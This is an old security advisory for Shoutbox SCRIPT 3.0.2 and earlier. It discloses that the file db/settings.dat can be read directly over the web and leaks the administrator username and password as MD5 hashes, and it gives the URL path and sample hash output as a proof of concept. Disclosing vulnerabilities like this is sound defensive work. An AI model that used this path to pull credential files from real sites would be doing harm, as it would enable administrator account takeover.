shoutbox302.txt

`-=[--------------------ADVISORY-------------------]=-  
-=[   
]=-  
-=[ Shoutbox SCRIPT <= 3.0.2 ]=-  
-=[   
]=-  
-=[ Author: CorryL www.x0n3-h4ck.org ]=-  
-=[   
]=-  
-=[----------------------------------------------------]=-  
  
  
-=[+] Application: Shoutbox SCRIPT  
-=[+] Version: 3.0.2 and prior  
-=[+] Vendor's URL: http://www.knusperleicht.at  
-=[+] Platform: Windows\Linux\Unix  
-=[+] Bug type: Administrative MD5 Username and Password Retrieval  
-=[+] Exploitation: Remote/Local  
-=[-]  
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~  
-=[+] Reference: www.x0n3-h4ck.org ~ irc.xoned.net #x0n3-h4ck  
  
  
..::[ Descriprion ]::..  
  
shoutbox and' a script very simple php to be used that to install,  
and' used as a glass showcase where the consumers can leave his/her own  
messages  
  
..::[ Bug ]::..  
  
this software and' affection from a bug,  
a remote attacker exploiting the possibility  
has him/it' to draw sensitive information as user and administrator pass in  
md5.  
  
  
..::[ Proof Of Concept ]::..  
  
http://host/patch to shout/db/settings.dat  
  
result:  
  
.....  
....  
....  
$SB_ADMIN[Change_Username] = '189bbbb00c5f1fb7fba9ad9285f193d1';  
$SB_ADMIN[Change_Userpass] = '81dc9bdb52d04dc20036dbd8313ed055';  
  
  
  
..::[ Workaround ]::..  
  
noting  
  
  
..::[ Disclousure Timeline ]::..  
  
[17/04/2005] - Vendor notification  
[19/04/2005] - No patch relase from vendor  
[19/04/2005] - Public disclousure  
  
CorryL  
[email protected]  
www.x0n3-h4ck.org  
Italian Security Team  
Fax (+39) 02700520894  
Tel (+39) 06452215277  
irc.xoned.net #x0n3-h4ck  
  
_________________________________  
www.seekstat.it is your web stat  
`